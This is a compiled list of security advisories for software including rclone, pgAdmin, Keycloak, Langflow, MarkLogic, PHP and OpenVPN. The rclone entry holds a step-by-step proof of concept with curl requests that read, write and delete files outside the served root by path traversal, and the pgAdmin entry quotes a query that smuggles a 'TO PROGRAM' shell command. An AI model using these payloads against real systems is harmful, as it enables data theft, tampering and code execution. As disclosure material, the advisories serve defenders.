Rclone is a command-line program to sync files and directories to and from different cloud storage providers. Prior to 1.74.4, with -l/--links, rclone serializes symlinks as .rclonelink text objects and recreates them on a local destination without validating the target, allowing an attacker-controlled remote to plant an escaping symlink and cause a following object write to land outside the destination with attacker-chosen contents. This issue is fixed in version 1.74.4.

## Summary `rclone serve restic` does not correctly reject URL paths beginning with `../`. On affected backends, an attacker who can access the REST endpoint can read, create, overwrite, or delete objects outside the path configured by the operator. The issue affects `rclone v1.40` through `rclone v1.74.4`. The proof of concept and backend matrix were validated with the official Linux AMD64 binary for `v1.74.4`, and the latest `master` commit reviewed at the time (`2217d38`) contained the same vulnerable validation. The main proof of concept uses WsgiDAV as an independent storage server and one rclone process. ## Affected versions All releases from `v1.40` through `v1.74.4` are affected. ## Affected components and backend propagation The primary vulnerable component is the backend-independent `WithRemote` middleware in `cmd/serve/restic/restic.go`, lines 235-264. It accepts a leading parent component and stores that unsafe relative path in the request context. The REST handlers then pass the same value to whichever rclone backend the operator configured. Therefore, the flaw is not specific to WebDAV. The backend determines whether the accepted `../` path escapes, is preserved, or is encoded as safe filename characters. The source locations and line numbers below correspond to the release used for dynamic testing: | Layer or backend | File and function | Relevant lines | Path propagation | Dynamic evidence | |---|---|---:|---|---| | REST server, primary cause | `cmd/serve/restic/restic.go`, `WithRemote` | 235-264 | Accepts a leading `../` remote and shares it with GET, HEAD, POST, and DELETE handlers | Confirmed through WebDAV | | WebDAV | `backend/webdav/webdav.go`, `(*Fs).filePath` | 421-427 | `path.Join(f.root, file)` removes the configured root when resolving `../` | read, write, delete | | FTP | `backend/ftp/ftp.go`, `(*Fs).NewObject`, `(*Object).Open`, `Update`, and `Remove` | 844-848, 1308-1311, 1349-1356, 1411-1415 | Each operation joins the backend root and remote with `path.Join` before the FTP request | read, write, delete | | HTTP | `backend/http/http.go`, `(*Fs).url` | 386-395 | Appends the escaped remote containing `../` to the configured endpoint URL | read | | Memory | `backend/memory/memory.go`, `(*Fs).split` | 227-231 | Joins `f.root` and the relative path before splitting the in-memory bucket and key | read, write, delete | | SFTP | `backend/sftp/sftp.go`, `(*Fs).remotePath` | 2086-2089 | Joins `f.absRoot` and the remote, allowing the parent component to remove the published subdirectory | read, write, delete | These are backend-specific manifestations of the same `WithRemote` validation flaw, not separate vulnerabilities. ## Technical Details `WithRemote` obtains the decoded URL path, removes external slashes, and tries to reject traversal by comparing the path with `path.Clean`: ```go urlpath = strings.Trim(urlpath, "/") // Reject any non-canonical path, in particular one containing ".." // traversal elements. if urlpath != "" && path.Clean(urlpath) != urlpath { http.Error(w, http.StatusText(http.StatusBadRequest), http.StatusBadRequest) return } ``` The comment describes the intended behavior, but the condition does not reject every parent component. `path.Clean` preserves leading parent components in a relative path: ```text path.Clean("../outside.txt") = "../outside.txt" path.Clean("../../outside.txt") = "../../outside.txt" ``` Because both strings are equal, the middleware accepts the path. Internal traversal behaves differently: ```text path.Clean("a/../../outside.txt") = "../outside.txt" ``` These strings differ, so that request returns HTTP 400. This explains why the existing check appears to work while the leading variant bypasses it. After validation, `WithRemote` stores the accepted value in the request context: ```go ctx := context.WithValue(r.Context(), ContextRemoteKey, urlpath) next.ServeHTTP(w, r.WithContext(ctx)) ``` GET, POST, and DELETE handlers retrieve this same value. GET passes it to `s.f.NewObject`, POST passes it to `operations.RcatSize`, and DELETE resolves the object and calls `Remove`. There is no second containment check. WebDAV is used below as the concrete end-to-end example because it was the backend used for the main proof of concept. WebDAV is not the source of the validation flaw. The example demonstrates one way in which an unsafe remote accepted by `WithRemote` is propagated by a backend. The WebDAV backend joins its configured root with the attacker-controlled remote: ```go func (f *Fs) filePath(file string) string { subPath := path.Join(f.root, file) if f.opt.Enc != encoder.EncodeZero { subPath = f.opt.Enc.FromStandardPath(subPath) } return rest.URLPathEscapeAll(subPath) } ``` For the proof of concept: ```text f.root = "served-root" file = "../outside-secret.txt" path.Join("served-root", "../outside-secret.txt") = "outside-secret.txt" ``` The configured root is removed before encoding. WsgiDAV receives a normal operation for `/outside-secret.txt`, which is outside the root published by `rclone serve restic`. The same accepted leading parent path propagates through the other affected backends tested. FTP joins its root and remote with `path.Join` before object operations; HTTP preserves `served-root/../outside-secret.txt` when constructing the endpoint request; Memory joins the root and relative path before splitting the bucket and key; and SFTP joins `f.absRoot` and the remote in `remotePath`. In each case, the backend receives the leading parent component already accepted by `WithRemote`. The exact escape mechanism and available operations vary by backend. Conversely, S3-compatible and local backends did not escape in the tested configuration because they encoded `..` as filename characters. Expected behavior is HTTP 400 before any backend operation. Actual behavior is HTTP 200 followed by an operation outside `served-root`. ## Preconditions and impact The operator must publish a backend subdirectory, the endpoint must be reachable, and the backend credential must have access to a parent or sibling object. Exploitability also depends on backend path semantics. An attacker may: - read files and objects outside the published backup root; - create or overwrite sibling objects; - delete objects when deletion is permitted; - cross isolation boundaries between users, repositories, or automation jobs; - indirectly compromise another system if it later trusts an overwritten configuration, script, or artifact. `--append-only` reduces overwrite and delete impact but does not prevent traversal reads or creation of new objects. ## Proof of concept The following procedure was executed on Linux Mint 22.3 with the official `rclone v1.74.4` Linux AMD64 binary, WsgiDAV 4.3.5, and Cheroot 10.0.1. The rclone binary reports that it was built with Go 1.26.5. ### 1. Create the storage layout ```console $ mkdir -p poc/storage/served-root $ printf '%s\n' 'INSIDE-PUBLISHED-ROOT' > poc/storage/served-root/inside.txt $ printf '%s\n' 'SECRET-OUTSIDE-PUBLISHED-ROOT' > poc/storage/outside-secret.txt $ find poc/storage -type f poc/storage/served-root/inside.txt poc/storage/outside-secret.txt ``` ### 2. Start the independent WebDAV server ```console $ python3 -m venv poc/venv $ poc/venv/bin/pip install 'WsgiDAV==4.3.5' 'cheroot==10.0.1' $ poc/venv/bin/wsgidav --host=127.0.0.1 --port=39500 \ --root="$PWD/poc/storage" --auth=anonymous --no-config Running without configuration file. ... Server: WsgiDAV/4.3.5 Cheroot/10.0.1 Python/3.12.3 ``` ### 3. Download, verify, and start rclone ```console $ curl -fLO https://downloads.rclone.org/v1.74.4/rclone-v1.74.4-linux-amd64.zip $ curl -fLO https://downloads.rclone.org/v1.74.4/SHA256SUMS $ grep ' rclone-v1.74.4-linux-amd64.zip$' SHA256SUMS | sha256sum -c - rclone-v1.74.4-linux-amd64.zip: OK $ unzip rclone-v1.74.4-linux-amd64.zip $ ./rclone-v1.74.4-linux-amd64/rclone version | head -n 1 rclone v1.74.4 $ ./rclone-v1.74.4-linux-amd64/rclone serve restic ':webdav:served-root' \ --webdav-url http://127.0.0.1:39500 \ --webdav-vendor other --addr 127.0.0.1:39501 -vv NOTICE: webdav root 'served-root': Serving restic REST API on [http://127.0.0.1:39501/] ``` ### 4. Confirm normal access ```console $ curl --path-as-is -i http://127.0.0.1:39501/inside.txt HTTP/1.1 200 OK ... INSIDE-PUBLISHED-ROOT ``` ### 5. Read outside the published root ```console $ curl --path-as-is -i http://127.0.0.1:39501/%2e%2e/outside-secret.txt HTTP/1.1 200 OK ... SECRET-OUTSIDE-PUBLISHED-ROOT ``` ### 6. Write outside the published root ```console $ curl --path-as-is -i -X POST \ http://127.0.0.1:39501/%2e%2e/outside-write.txt \ --data-binary 'ATTACKER-CONTROLLED-OUTSIDE-ROOT' HTTP/1.1 200 OK ... $ cat poc/storage/outside-write.txt ATTACKER-CONTROLLED-OUTSIDE-ROOT ``` ### 7. Delete outside the published root ```console $ curl --path-as-is -i -X DELETE \ http://127.0.0.1:39501/%2e%2e/outside-write.txt HTTP/1.1 200 OK ... $ test ! -e poc/storage/outside-write.txt && echo 'physical file deleted' physical file deleted ``` ### 8. Compare with internal traversal ```console $ curl --path-as-is -i http://127.0.0.1:39501/a/../../outside-secret.txt HTTP/1.1 400 Bad Request ... Bad Request ``` This demonstrates why the existing check appears to work for interior traversal while the leading variant bypasses it. ## Tested backends | Backend | Local implementation | Result | Operations tested | |---|---|---|---| | WebDAV | WsgiDAV 4.3.5 | Affected | read, write, delete | | FTP | pyftpdlib 2.2.0 | Affected | read, write, delete | | HTTP | Python `http.server` 3.12.3 | Affected | read | | Memory | rclone memory backend | Affected | read, write, delete | | SFTP | `atmoz/sftp` OpenSSH server | Affected | read, write, delete | | S3 compatible | MinIO | No root escape observed | read, write, delete | | Local filesystem | default local encoding | No root escape observed | read, write, delete | Only the backends listed in this table were tested or classified. Every row was dynamically repeated with the same official `v1.74.4` Linux AMD64 binary identified in the proof of concept. ## Suggested remediation Reject `.` and `..` components in `WithRemote` before storing the remote in the context. Validating the decoded relative path with `io/fs.ValidPath`, with explicit handling for the empty API root, is one possible approach. Authorization and backend lookup should use the same validated representation. Regression tests should cover GET, HEAD, POST, and DELETE with `..`, `../x`, `../../x`, `%2e%2e/x`, `a/../x`, and `a/../../x`, both with and without `--private-repos`. ## Additional impact scenarios identified by the maintainer - `GET /../` could reach the list handler and enumerate the parent directory, allowing an attacker to discover object names before accessing them. - With `--append-only`, a request such as `DELETE /../locks/<name>` could satisfy the existing delete guard and delete an object outside the served root. - A bare `.` path was also accepted. On bucket-based backends, `POST /.` could write an object outside the intended served path. Credit: Caubi Loureiro of Vorpcel Research

pgAdmin 4's Import/Export Data tool builds a psql \copy (...) command line by interpolating a user-supplied SQL query into a Jinja template and passing the rendered line to psql via --command. To stop an attacker from breaking out of the (...) wrapper, create_import_export_job() (route POST /import_export/job/<sid>, gated only by the ordinary, commonly-granted tools_import_export_data permission) validated the query with a hand-written parenthesis-balance checker, _is_query_parens_balanced(). That checker always treated a backslash before a single quote (\') as escaping the quote, i.e. as if standard_conforming_strings were off. PostgreSQL has defaulted standard_conforming_strings to on since 9.1 (2010), the default on every PostgreSQL version pgAdmin 4 currently supports (13-18); under that default psql's own \copy tokenizer treats \ as an ordinary character, so a single quote immediately after it closes the string literal. A query such as SELECT 'a\') TO PROGRAM 'echo pwned' x' was therefore accepted as "balanced" by pgAdmin's checker (which believed the ) was still inside the string), while psql, run through the actual rendered command line, closes the string at that point and treats the following ) as the end of the wrapping \copy (...) subquery, exposing an attacker-chosen TO PROGRAM '<command>' clause that psql executes via popen() -- independent of a subsequent syntax error later on the same line. This is the same class of bug as CVE-2025-12762/CVE-2025-13780 (RCE via psql meta-command/COPY injection during PLAIN-format dump restore), reached through an independently written defense in a different module (Import/Export Data rather than Restore) that had its own, different logic bug (inverted backslash-escape semantics rather than a BOM-defeated regex anchor). The fix rejects any backslash inside a single-quoted string in the query outright, rather than picking one of the two possible psql interpretations. This is intentionally conservative: because the correct interpretation of \ depends on the target server's standard_conforming_strings setting, which the checker cannot reliably know at validation time, refusing the query is safer than guessing. This issue affects pgAdmin 4: from the introduction of _is_query_parens_balanced() before 9.18.

IBM WebSphere Application Server 9.0, and 8.5 and IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.7 is vulnerable to HTTP request smuggling due to improper handling of TRACE requests.

IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.8 ND Collective Controller is affected by a path-segment injection vulnerability in the collective routing mechanism.

IBM WebSphere Application Server 9.0, and 8.5 and IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.7 is vulnerable to HTTP Response Smuggling due to improper handling of non-standard HTTP version tokens.

Improper input validation in Microsoft Edge for Android allows an unauthorized attacker to perform tampering over a network.

h2o is an HTTP server with support for HTTP/1.x, HTTP/2 and HTTP/3. Prior to commit 9265bdd, there is an HTTP/2 state amplification issue that combines HPACK decompression amplification with Slowloris-style stream stalling. Amplified decoded header state can be retained by stalled HTTP/2 streams, and depending on the configuration, additional limits are needed to bound decoded header state and prevent attack. This issue has been fixed by commit 9265bdd.

Impact: @fastify/reply-from versions from 8.3.1 up to but not including 12.6.4 build the internal URL cache key by concatenating the destination and source path without a delimiter. Different destination and source pairs can therefore produce the same key while resolving to different upstream URLs. When getUpstream selects an upstream from request data, a URL cached for one upstream can be reused for a request intended for another upstream, causing cross-upstream data access and modification. The default configuration is affected. Setting disableCache to true prevents the behavior. Patches: upgrade to @fastify/reply-from 12.6.4. Workarounds: pass disableCache: true when registering the plugin.

Impact: fast-uri versions from 2.3.1 through 4.1.0 (including the 3.x line up to 3.1.3 and the 2.x line up to 2.4.2) do not treat a literal backslash character (U+005C) as an authority delimiter. Node's native WHATWG URL parser, used by fetch, undici, and Node's http and https clients, normalizes the backslash to a forward slash for special schemes such as http, https, ws, wss, ftp, and file. As a result, the two parsers extract different hosts from the same input string. Applications that use fast-uri to enforce host-based policy such as allowlists, denylists, loopback or SSRF filtering, redirect validation, or outbound proxy routing before passing the same URL into Node's URL or fetch consumers can be steered to an unintended destination, including cloud metadata endpoints, loopback, or internal hosts. Patches: upgrade to fast-uri 4.1.1, 3.1.4, or 2.4.3. Workarounds: none.

BuildKit's cache mount source= selector on Windows Container on Windows (WCOW) workers does not detect NTFS directory junctions placed inside the cache root. A build authored by an untrusted user on a WCOW-configured BuildKit daemon can read arbitrary host files reachable to the BuildKit daemon process.

Sparkle is a software update framework for macOS. Prior to version 2.9.2, `Autoupdate/SUBinaryDeltaApply.m` enforces `relativePath.pathComponents containsObject:@".."` and rejects writes whose immediate parent directory IS itself a symbolic link, but does not detect symlinks deeper in the relative path. `Autoupdate/SPUSparkleDeltaArchive.m`'s `extractItem:` will create symlinks in the destination tree from archive content (no `..` check on the symlink target), and a subsequent `Extract` item targeting `<symlink>/foo/bar` then escapes the destination tree via `fopen(path, "wb")` because the kernel resolves the intermediate symlink during the open call. This is a defense-in-depth issue: exploitation requires a maliciously-crafted `.delta` that passes EdDSA signature verification, i.e. EdDSA private-key compromise. With the AppInstaller running as root for system-domain installs, it gives the holder of a stolen signing key arbitrary file write at root level via the delta-apply path, which is a strictly broader primitive than the "drop-in replacement bundle" install they would otherwise have. Version 2.9.2 contains a patch for the issue.

FileGator accepts arbitrary Unix permission values via the '/chmoditems' API endpoint and passes the value directly to PHP's native 'chmod()' function through 'octdec()' conversion, with no validation. This allows an authenticated user with 'chmod' permission to upgrade their privileges to root.

LMDeploy through 0.14.0, fixed in commit 03c3130, contains a server-side request forgery (SSRF) vulnerability in the _load_http_url function within the connection.py media handler, where the private-IP guard validates only the original URL without re-validating hosts after HTTP redirects. An unauthenticated attacker can submit a crafted image_url to the chat completions endpoint pointing to an attacker-controlled host that returns a redirect to a private IP or cloud-metadata endpoint, causing the server to follow the redirect and expose internal service content through the model pipeline.

MessagePack for Ruby is an implementation of the MessagePack binary serialization format. Prior to 1.8.2, MessagePack::Buffer#clear in ext/msgpack/buffer.c leaves rmem_last, rmem_end, and rmem_owner stale after _msgpack_buffer_shift_chunk returns an rmem page to the shared pool, allowing a subsequent Buffer#write and a second MessagePack::Buffer to alias the page and disclose or corrupt cross-buffer data. This issue is fixed in version 1.8.2.

Improper escaping of backslashes in attacker-provided parameters would allow for trivial SQL injection in PHP versions from 8.2.* before 8.2.33, from 8.3.* before 8.3.33, from 8.4.* before 8.4.24, and from 8.5.* before 8.5.9.

Attacker-provided inputs to bccomp() could lead to an out-of-bounds write with stack and heap corruption in PHP versions from 8.4.* before 8.4.24 and from 8.5.* before 8.5.9.

Circular symbolic links in phar archives could lead to unbounded recursion, exhausting the C stack and crashing the PHP process, in PHP versions from 8.2.* before 8.2.33, from 8.3.* before 8.3.33, from 8.4.* before 8.4.24, and from 8.5.* before 8.5.9.

An Improper Authorization vulnerability exists in Apache Superset allowing an authenticated user with permissions to update charts to modify dashboards they do not own. When updating a chart's properties via the REST API, a user can provide a list of dashboard IDs (dashboards) to associate the chart with. The validation logic in the UpdateChartCommand failed to verify that the user had write permissions for the target dashboards specified in the request body. This issue affects Apache Superset: before 6.0.0. Users are recommended to upgrade to version 6.0.0, which fixes the issue.

A Regular Expression Denial of Service (ReDoS) vulnerability exists in Apache Superset versions 1.5.0 through 5.0.0. The vulnerability is located in the sql_parse.py component, specifically within the SQL_REGEX used for parsing SQL statements in the sqlparse library integration. The affected regular expression contains overlapping disjunctions that share a common outer quantifier. An authenticated attacker can exploit this by sending a maliciously crafted input string (specifically a long sequence of backslashes or similar characters) to endpoints that process SQL queries This issue affects Apache Superset: before 6.0.0. Users are recommended to upgrade to version 6.0.0, which fixes the issue.  Workarounds: ● WAF Rules: Implement Web Application Firewall (WAF) rules to detect and block requests containing excessively long sequences of backslashes or suspicious repeated patterns in the queries.extras.where parameter. ● Rate Limiting: Ensure strict rate limiting is applied to the /api/v1/chart/data endpoint to reduce the impact of potential attacks.

OpenVPN version 2.1.0 through 2.6.20 and 2.7_alpha1 through 2.7.4 allows attackers via an off-by-one buffer write in the NTLM proxy authentication to potentially cause a crash via a crafted NTLM response from a malicious proxy server

A memory leak in the tls-crypt-v2 client key extraction in OpenVPN 2.5.0 through 2.6.20 and 2.7_alpha1 through 2.7.4 allows remote attackers to cause a denial of service (memory exhaustion) via a flood of crafted packets

A use-after-free in OpenVPN 2.6.0 through 2.6.20 and 2.7_alpha1 through 2.7.4 allows remote authenticated peers to potentially cause a denial of service or leak memory via crafted packets during TLS session promotion or expiry

An incomplete guard in OpenVPN 2.6.0 through 2.6.20 and 2.7_alpha1 through 2.7.4 allows remote authenticated peers to trigger a use-after-free during TLS session promotion, potentially leading to a denial of service or memory leakage

The Windows interactive service in OpenVPN 2.7_alpha1 through 2.7.4 allows remote attackers to cause persistent DNS state pollution or a service crash via a crafted search domain during the disconnection process

Sparkle is a software update framework for macOS. In versions up to and including 2.9.1, `Autoupdate/AppInstaller.m`'s `shouldAcceptNewConnection:` only enforces `SUCodeSigningVerifier validateConnection:` before stage 1 completes. After `_performedStage1Installation = YES`, new connections to the registered Mach service `<bundleId>-spki` are accepted from any local process without team-ID or code-signing checks. As of time of publication, no known patched versions are available.

IBM Aspera Faspex 5 5.0.0 through 5.0.15.4 has addressed a vulnerability related to session management.

IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.7 is vulnerable to a denial of service due to uncontrolled heap allocation.

A flaw was found in Keycloak Policy Enforcer. This vulnerability allows any authenticated user to bypass all authorization policies, including role, scope, and User-Managed Access (UMA) permission checks. By including the configured access-denied page path within a request URL, either as a path segment or a query parameter, an attacker can gain unauthorized access to protected resources.

A flaw was found in Keycloak, an open-source identity and access management solution. When a user account is temporarily locked due to repeated failed login attempts, an attacker with valid client credentials can exploit the Client-Initiated Backchannel Authentication (CIBA) flow to bypass this brute-force protection. This allows continued authentication attempts and token issuance even when the account should be locked, potentially enabling further unauthorized access attempts.

A flaw was found in Keycloak. When a JSON Web Encryption (JWE) encrypted request object is submitted, Keycloak may incorrectly process unsigned claims if the decrypted content is raw JSON, bypassing the configured signature policy. This allows a remote attacker to submit unauthorized claims, leading to a compromise of data integrity within the OpenID Connect (OIDC) authorization flow. While a redirect URI allowlist acts as a compensating control, this vulnerability violates OIDC Core and Financial-grade API (FAPI) signing requirements.

A flaw was found in Keycloak, an open-source identity and access management solution. When a client application is configured to accept broad redirect Uniform Resource Identifiers (URIs), a remote attacker can manipulate the authentication process by crafting a special web address. If a user clicks this link, the client application might incorrectly prioritize attacker-controlled information over legitimate data. This vulnerability, known as HTTP parameter pollution, could allow an attacker to bypass security measures or gain unauthorized access to resources.

IBM Langflow OSS contains a weak cryptographic key derivation vulnerability in the ensure_fernet_key() function.

A server-side request forgery vulnerability in Progress MarkLogic Server before 11.3.6 and 12.0.3 allows an authenticated user with low-privileged roles to bypass protections for cloud instance metadata endpoints. Successful exploitation can disclose cloud credentials and compromise cloud resources accessible to the host instance.

IBM Langflow OSS 1.0.0 through 1.10.3 could allow an authenticated attacker to execute arbitrary code due to a cryptographic weakness in the custom component validation mechanism. When the optional hardening mode that restricts execution to trusted component templates is enabled, the application validates component code using a truncated SHA‑256 hash. Because the hash comparison relies on only a portion of the digest, an attacker can craft malicious component code that collides with a trusted template hash and bypasses validation. Successful exploitation allows the attacker to introduce and execute unauthorized Python code within the Langflow process, defeating the intended security control and potentially leading to full compromise of the affected instance.

IBM Langflow OSS 1.0.0 through 1.10.3 could allow an authenticated attacker to execute unintended code during Agentic Assistant validation due to improper handling of LLM‑generated components. The application executes model‑generated Python code in the backend during validation prior to user approval, which may allow an attacker to trigger side effects such as outbound network access, file system interaction, or data exfiltration with the privileges of the Langflow backend process.

A cross-site scripting vulnerability in the Query Console of Progress MarkLogic Server before 11.3.6 and 12.0.3 allows a remote attacker who lures an authenticated administrator to a crafted URL to execute arbitrary JavaScript in the administrator's browser session, capture credentials, and perform privileged actions on the administrator's behalf.

An improper privilege management vulnerability in the Hadoop integration of Progress MarkLogic Server before 11.3.6 and 12.0.3 allows an authenticated user with a low-privileged Hadoop role to escalate privileges and execute privileged operations against the Security database.

An authentication bypass vulnerability in the ODBC App Server of Progress MarkLogic Server before 11.3.6 and 12.0.3 allows an unauthenticated remote attacker to bypass password verification and execute queries with the privileges of any named user known to the server, including administrators.

An HTTP request smuggling vulnerability in the HTTP App Server of Progress MarkLogic Server before 11.3.6 and 12.0.3 allows a remote attacker to bypass authentication and authorization checks, hijack a legitimate user's session, or capture credentials. The vulnerability occurs when a crafted HTTP request containing both Content-Length and Transfer-Encoding headers causes a reverse proxy and MarkLogic Server to interpret request boundaries differently.

IBM Langflow OSS 1.0.0 through 1.10.3 contain an authorization bypass vulnerability in the MemoryComponent that allows authenticated users to access chat history of other users via session_id collision. The MemoryComponent.retrieve_messages and store_message methods filter on session_id without validating flow_id or user_id ownership, enabling cross-user information disclosure through multiple authenticated API endpoints including /api/v1/run/*, /api/v1/responses, and /api/v2/workflow/*. This vulnerability only affects multi-user deployments with LANGFLOW_AUTO_LOGIN=False.

IBM Langflow OSS 1.0.0 through 1.10.3, and 1.0.0 through 1.10.3 contains a Server-Side Request Forgery (SSRF) vulnerability in the validate_model_provider_key() function for the Ollama provider. The function accepts a user-supplied OLLAMA_BASE_URL parameter and passes it directly to requests.get() without validation, scheme/host allowlisting, or filtering of private IP ranges (loopback, RFC1918, link-local addresses).

IBM Langflow OSS 1.0.0 through 1.10.3 Langflow allows remote authenticated attackers to bypass localhost-only restrictions and write arbitrary MCP server configurations to IDE configuration files on the host system.

An improper privilege management vulnerability in the REST API document patch operation of Progress MarkLogic Server before 11.3.6 and 12.0.3 allows an authenticated user with a low-privileged REST role to escalate privileges and execute privileged operations against the Security database.

IBM Langflow OSS 1.0.0 through 1.10.3 could allow a remote attacker to inject arbitrary code on the system, due to the improper control of user input code.

IBM Langflow OSS 1.0.0 through 1.10.3, 1.0.0 through 1.10.3, 1.0.0 through 1.10.3, and 1.0.0 through 1.10.3 use Python's non-cryptographic random module for generating Fernet encryption keys from user secrets under 32 characters. The deterministic Mersenne Twister PRNG produces identical keys for identical seeds, allowing attackers to reproduce encryption keys and decrypt stored API keys and authentication tokens.

IBM WebSphere Application Server 8.5, and 9.0 and IBM WebSphere Application Server - Liberty Continuous delivery has a flaw in the ORB component in IBM SDK, Java Technology Edition, may allow a malicious IIOP server to induce loading and instantation of arbitrary classes.

IBM Langflow OSS 1.0.0 through 1.10.3, 1.0.0 through 1.10.3, 1.0.0 through 1.10.3, 1.0.0 through 1.10.3, 1.0.0 through 1.10.3, and 1.0.0 through 1.10.3 could allow a remote attacker to traverse directories on the system. An attacker could send a specially crafted URL request containing "dot dot " sequences ( /.. /) to v i ew arbitrary files on the system.

IBM Langflow OSS 1.0.0 through 1.10.3 installations allow anyone on the internet to execute arbitrary code on the server without any credentials via 2 HTTP requests.